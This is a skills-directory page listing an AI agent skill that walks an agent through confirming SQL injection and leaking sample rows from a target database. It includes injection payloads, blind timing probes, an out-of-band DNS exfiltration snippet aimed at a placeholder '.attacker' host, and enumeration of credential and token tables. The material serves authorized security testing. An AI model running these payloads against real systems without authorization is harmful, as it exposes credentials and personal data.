Skip to content
Back to skills

Sqli To Data Exfil

ASecurity

Escalate a suspected or confirmed SQL injection into proof-level data exfiltration. Use when you spot an SQL error in a response, a record from a prior scan flagged a SQLi pattern, or boolean/time differentials indicate the payload reaches the query parser. Walks from probe → confirm → enumerate → exfil with payload-class-aware techniques (in-band, blind boolean, blind time, blind OAST) and ends by persisting a concrete finding with the leaked sample.

  • 1,097 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added September 5, 2026
securitygoshellsqlapidatabase

Works with

  • api

Security analysis

A100/100

Scanned September 5, 2026

npx -y skills add vigolium/vigolium --skill sqli-to-data-exfil --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Sqli To Data Exfil?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Sqli To Data Exfil
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/vigolium-sqli-to-data-exfil/badge)](https://www.skillsdirectory.com/skills/vigolium-sqli-to-data-exfil)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: sqli-to-data-exfil
description: Escalate a suspected or confirmed SQL injection into proof-level data exfiltration. Use when you spot an SQL error in a response, a record from a prior scan flagged a SQLi pattern, or boolean/time differentials indicate the payload reaches the query parser. Walks from probe → confirm → enumerate → exfil with payload-class-aware techniques (in-band, blind boolean, blind time, blind OAST) and ends by persisting a concrete finding with the leaked sample.
license: MIT
allowed-tools:
  - query_records
  - inspect_record
  - replay_request
  - attack_kit
  - oast_mint
  - oast_poll
  - send_raw_http
  - report_finding
  - update_finding
  - remember
  - update_plan
---

# SQLi → Data Exfiltration

You suspect SQL injection somewhere in the target. Your job is to turn that
suspicion into proof — a real exfil sample from the database — and persist
it as a finding with reproducible evidence. Speculation isn't a finding.

## When this skill applies

Trigger this strategy when any of these is true:

- An HTTP record's response contains an SQL error fragment: `SQLITE_ERROR`,
  `ORA-`, `MySQL syntax`, `PostgreSQL`, `unclosed quotation mark`,
  `mismatched parenthesis`, `near "X": syntax error`.
- A prior scan's record body has a `q=...'`, `id=...'`, `search=...` payload
  that triggered a 500 / different content-length / reflected error.
- A user-controlled parameter feeds into a `SELECT`/`WHERE`/`ORDER BY`
  context that the response body or scanner finding directly suggests.
- The audit harness produced a finding with CWE-89 / "SQL Injection" /
  "blind SQLi" — even theoretical.

If you only have a generic "fuzz everything" task, stop and pick a record
first (`query_records` then `inspect_record`). Do not run this skill blind.

## Workflow

### 1. Anchor on a record

Pick the strongest candidate via `query_records` filters (`status: [500]`,
`search: "SQL"`, `has_params: true`) and `inspect_record` to load its raw
request and the parsed insertion points. Note the **insertion point name**
and **type** (URL_PARAM, POST_BODY_PARAM, HEADER, JSON_PATH) — payload
encoding differs per type.

`remember` the chosen insertion point with a key like `sqli-target` so the
plan survives context churn.

### 2. Classify the injection

Run two probes with `replay_request` against the chosen insertion point:

- **Quote test**: send `'` and `''`. Compare baseline vs replay status,
  length, body hash. If `'` errors and `''` succeeds → string context. If
  both behave like baseline → numeric context or filtered.
- **Boolean test**: send `1' AND '1'='1` (or `1 AND 1=1` for numeric) and
  `1' AND '1'='2`. Equal-vs-different responses prove an in-band boolean.

If neither yields a difference, fall through to the blind paths below.

### 3. Pull a payload set

Call `attack_kit` with `class: "sqli"` to get starter payloads. Don't fire
them all — read them and pick the ones that match the context (string vs
numeric, single-quote vs double-quote, MySQL vs SQLite vs Postgres
fingerprint from the error message).

### 4. Confirm with a verifiable oracle

Choose the cheapest oracle that actually proves execution, not behavior
difference:

- **In-band**: UNION SELECT a sentinel string into a column that gets
  echoed. Look for the sentinel in the replay body. **This is the only
  oracle that proves data exfil end-to-end in one shot.**
- **Blind boolean**: pair true/false branches against a 2-bit fact you
  control (e.g. `IF(SUBSTRING(@@version,1,1)='5',sleep(0),null)`).
- **Blind time**: `SLEEP(5)` / `pg_sleep(5)` / `randomblob(...)` — only
  use when nothing else differentiates. Confirm with at least 2 trials.
- **Blind OAST**: `oast_mint` a canary, inject `LOAD_FILE(...)`,
  `xp_dirtree`, or `pg_read_file('//' || (SELECT ...) || '.attacker')`
  to leak via DNS/HTTP. Poll with `oast_poll` until the callback shows up
  (give it up to 60 seconds).

### 5. Enumerate then exfil

Once confirmed, walk the schema:

1. Database version + name: leak via the chosen oracle.
2. Table names: `information_schema.tables` (MySQL/Postgres) or
   `sqlite_master` (SQLite).
3. Column names for the highest-value table: pick `users`, `accounts`,
   `api_keys`, `tokens`, `sessions`, `secrets` — not `migrations`.
4. **One real row**: leak a single concrete value (a hashed password, an
   email, an API key prefix). One row is sufficient — do not bulk-exfil.

Keep a `remember` note with the leaked sample (key: `sqli-exfil-sample`)
so the finding writer can include it as evidence.

### 6. Persist the finding

Call `report_finding` exactly once for this issue:

- `severity`: `critical` if the leaked value is a credential, API key,
  session token, or PII. `high` otherwise.
- `title`: include the endpoint + parameter (e.g.
  `"SQLi in /rest/products/search q parameter leaks SQLite schema"`).
- `cwe_id`: `CWE-89`.
- `description`: 2-3 sentences — context, payload, leaked sample (mask
  the sensitive part: `admin@…` not the full email).
- Include the **exact mutated request line** that produced the leak.

If the audit harness already produced a theoretical finding for the same
endpoint, call `update_finding` with `status: triaged` and reference the
new evidence in the description instead of double-reporting.

## Pitfalls — read before sending

- Do not use destructive payloads (`DROP`, `DELETE`, `UPDATE`) under any
  circumstance. Use `SELECT` only.
- Time-based SLEEP confirms blind SQLi *only* if the application doesn't
  also delay other requests (e.g. shared rate limiter). Run a baseline
  with the same length payload but no sleep before claiming the oracle.
- `UNION` requires matching column count. If the first `UNION SELECT 1`
  errors with "different number of columns", iterate `1,2`, `1,2,3` until
  it goes through — then identify which slot reflects.
- If the response is JSON and the injection point is inside a quoted
  field, your payload must escape the JSON before it escapes the SQL.
- Stored procedures (mssql `xp_cmdshell`, postgres `COPY FROM PROGRAM`)
  cross into RCE — that's a different skill (`command-injection-rce`).
  Do not chain without explicit operator authorization in the scope.

## Output expectations

- One `report_finding` call per distinct SQLi (don't re-report per
  parameter if the same handler is vulnerable on many).
- A `remember` note with the canonical exfil sample so it survives
  context loss.
- The plan item that triggered this skill marked `done` via `update_plan`.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.